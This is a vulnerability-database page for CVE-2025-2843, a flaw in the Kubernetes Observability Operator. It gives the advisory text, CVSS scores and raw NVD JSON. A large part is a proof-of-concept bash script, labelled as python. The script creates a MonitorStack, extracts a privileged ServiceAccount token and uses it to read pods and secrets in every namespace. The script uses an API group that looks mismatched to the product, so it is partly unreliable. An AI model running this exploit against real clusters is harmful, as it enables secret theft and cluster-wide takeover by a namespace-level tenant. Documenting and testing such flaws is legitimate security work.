Security Vulnerability Report
中文
CVE-2025-2843 CVSS 8.8 HIGH

CVE-2025-2843

Published: 2025-11-12 17:15:38
Last Modified: 2026-04-15 00:35:42

Description

A flaw was found in the Observability Operator. The Operator creates a ServiceAccount with *ClusterRole* upon deployment of the *Namespace-Scoped* Custom Resource MonitorStack. This issue allows an adversarial Kubernetes Account with only namespaced-level roles, for example, a tenant controlling a namespace, to create a MonitorStack in the authorized namespace and then elevate permission to the cluster level by impersonating the ServiceAccount created by the Operator, resulting in privilege escalation and other issues.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Observability Operator < 已修复版本
MonitorStack Custom Resource (所有版本)
Red Hat OpenShift Container Platform (受影响版本待确认)
Kubernetes 1.19+ (使用Observability Operator的集群)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-2843 PoC - Observability Operator MonitorStack Privilege Escalation # This PoC demonstrates how a namespace-privileged user can escalate to cluster-admin # Configuration NAMESPACE="monitoring" MONITORSTACK_NAME="malicious-monitorstack" # Step 1: Create a MonitorStack resource in the target namespace cat <<EOF | kubectl apply -f - apiVersion: monitoring.googleapis.com/v1alpha1 kind: MonitorStack metadata: name: ${MONITORSTACK_NAME} namespace: ${NAMESPACE} spec: prometheus: version: v2.45.0 retention: 30d EOF # Step 2: Wait for the Operator to create the privileged ServiceAccount echo "[*] Waiting for Operator to process MonitorStack..." sleep 10 # Step 3: List ServiceAccounts to find the created privileged account echo "[*] Enumerating ServiceAccounts in ${NAMESPACE}..." kubectl get serviceaccounts -n ${NAMESPACE} # Step 4: Find the ClusterRoleBinding created by the Operator echo "[*] Checking ClusterRoleBindings..." kubectl get clusterrolebindings | grep -i monitorstack # Step 5: Get the token of the privileged ServiceAccount SERVICE_ACCOUNT=$(kubectl get serviceaccounts -n ${NAMESPACE} -o jsonpath='{.items[*].metadata.name}' | tr ' ' '\n' | grep -i monitorstack | head -1) if [ -n "$SERVICE_ACCOUNT" ]; then echo "[*] Found privileged ServiceAccount: ${SERVICE_ACCOUNT}" # Get the token TOKEN=$(kubectl get secret -n ${NAMESPACE} $(kubectl get serviceaccount ${SERVICE_ACCOUNT} -n ${NAMESPACE} -o jsonpath='{.secrets[0].name}') -o jsonpath='{.data.token}' | base64 -d) echo "[*] Extracted token for privilege escalation" # Step 6: Use the token to impersonate cluster-admin echo "[*] Demonstrating privilege escalation..." kubectl --token=${TOKEN} auth can-i --list --all-namespaces fi # Step 7: Verify cluster-wide access echo "[+] Checking cluster-wide permissions..." kubectl get pods --all-namespaces --token=${TOKEN} kubectl get secrets --all-namespaces --token=${TOKEN} echo "[!] If you can see resources from all namespaces, privilege escalation succeeded!"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-2843", "sourceIdentifier": "[email protected]", "published": "2025-11-12T17:15:37.550", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in the Observability Operator. The Operator creates a ServiceAccount with *ClusterRole* upon deployment of the *Namespace-Scoped* Custom Resource MonitorStack. This issue allows an adversarial Kubernetes Account with only namespaced-level roles, for example, a tenant controlling a namespace, to create a MonitorStack in the authorized namespace and then elevate permission to the cluster level by impersonating the ServiceAccount created by the Operator, resulting in privilege escalation and other issues."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2025:21146", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-2843", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2355222", "source": "[email protected]"}]}}